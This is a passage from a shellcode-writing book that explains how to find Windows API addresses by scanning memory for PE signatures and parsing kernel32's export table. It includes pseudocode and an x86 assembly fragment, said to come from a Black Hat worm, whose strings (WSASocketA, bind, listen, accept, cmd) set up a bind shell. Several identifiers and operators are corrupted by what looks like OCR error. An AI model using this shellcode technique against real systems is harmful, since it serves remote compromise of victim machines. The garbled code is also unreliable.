Shellcoders Programming Uncovered (Uncovered series)
The most universal, portable, and reliable method of determining addresses of API functions is scanning the address space of the process to find PE signatures and subsequent parsing of the export table.
Set the pointer to c0000000h (the upper boundary of the user space for Windows 2000 Advanced Server and Datacenter Server, starting with the /3GB boot parameter) or to 80000000h (the upper boundary of the user space for all other systems).
Check the pointer availability by calling the IsBadReadPrt function exported by kernel32.dll, or set the custom structured exception handler to prevent a system crash (detailed information on handling structured exceptions was provided in Chapter 5). If there is the MZ signature, increase the pointer by 3Ch bytes, retrieving the e_lfanew double word, which contains the offset of the PE signature. If this signature is detected , then the base load address of the dynamic module has been found, and it is possible to proceed with parsing of the export table, from which it is necessary to retrieve the addresses of the GetLoadLibraryA and GetProcAddress functions. Knowing these addresses, it will be possible to retrieve all remaining information. If at least one of the preceding conditions hasn't been met, then it is necessary to decrease the pointer by 10000h and repeat the entire procedure (base load addresses are always multiples of 10000h ; therefore, this technique is legal). Pseudocode that searches for the base addresses of all loaded modules by PE signature is shown in Listing 11.6.
Listing 11.6: Searching for the base addresses of all loaded modules by PE signature
| |
BYTE* pBaseAddress = (BYTE*) 0xC0000000; // Upper boundary for all systems while(pBaseAddress) // Loop { // Check the address for availability for reading. if (!IsBadReadPtr(pBaseAddress, 2)) // Is this MZ? if (*(WORD*)pBaseAddress == 0x5A4D) // Is the pointer to PE valid? if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C)), 4)) // Is this PE? if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C))) = 0x4550) // Proceed with parsing the export table if (n2k_siirple_export_walker (pBaseAddress)) break; // Test the next 64-KB block pBaseAddress -= 0x10000; }
| |
Parsing of the export table is carried out approximately as shown in Listing 11.7. This example was borrowed from the unnamed worm from Black Hat, the complete source code of which can be found at http://www.blackhat.com .
Listing 11.7: Manually parsing the export table
| |
CALL here DB "GetProcAddress", 0, "LoadLibraryA", 0 DB "CreateProcessA", 0, "ExitProcess", 0 DB "ws2_32", 0, "WSASocketA", 0 DB "bind", 0, "listen", 0, "accept", 0 DB "cmd", 0 here: POP EDX PUSH EDX MOV EBX, 77F00000h 11: CMP dword ptr [EBX], 905A4Dh ; /x90ZM JE 12 ;DB 74h, 03h DEC EBX JMP 11 12: MOV ESI, dword ptr [EBX + 3Ch] ADD ESI, EBX MOV ESI, dword ptr [ESI + 78h] ADD ESI, EBX MOV EDI, dword ptr [ESI + 20h] ADD EDI, EBX MOV ECX, dword ptr [ESI + 14h] PUSH ESI XOR EAX, EAX 14: PUSH EDI PUSH ECX MOV EDI, dword ptr [EDI] ADD EDI, EBX MOV ESI, EDX XOR ECX, ECX ; GetProcAddress MOV CL, 0Eh REPE CMPS POP ECX POP EDI JE 13 ADD EDI, 4 INC EAX LOOP 14 JMP ECX 13: POP ESI MOV EDX, dword ptr [ESI + 24h] ADD EDX, EBX SHL EAX, 1 ADD EAX, EDX XOR ECX, ECX MOV CX, word ptr [EAX] MOV EAX, dword ptr [ESI + ICh] ADD EAX, EBX SHL ECX, 2 ADD EAX, ECX MOV EDX, dword ptr [EAX] ADD EDX, EBX POP ESI MOV EDI, ESI XOR ECX, ECX ; Get 3 Addr MOV CL, 3 CALL loadaddr ADD ESI, 0Ch
| |
The main drawback of this method is its bulkiness. Recall that the maximum allowed size of the shellcode is limited. Unfortunately, nothing better has been invented.
The search for the base address can be optimized. In the next few sections, I will demonstrate how it is possible to do this. However, parsing of the export table cannot be avoided. This is the inevitable payment for the portability of the shellcode.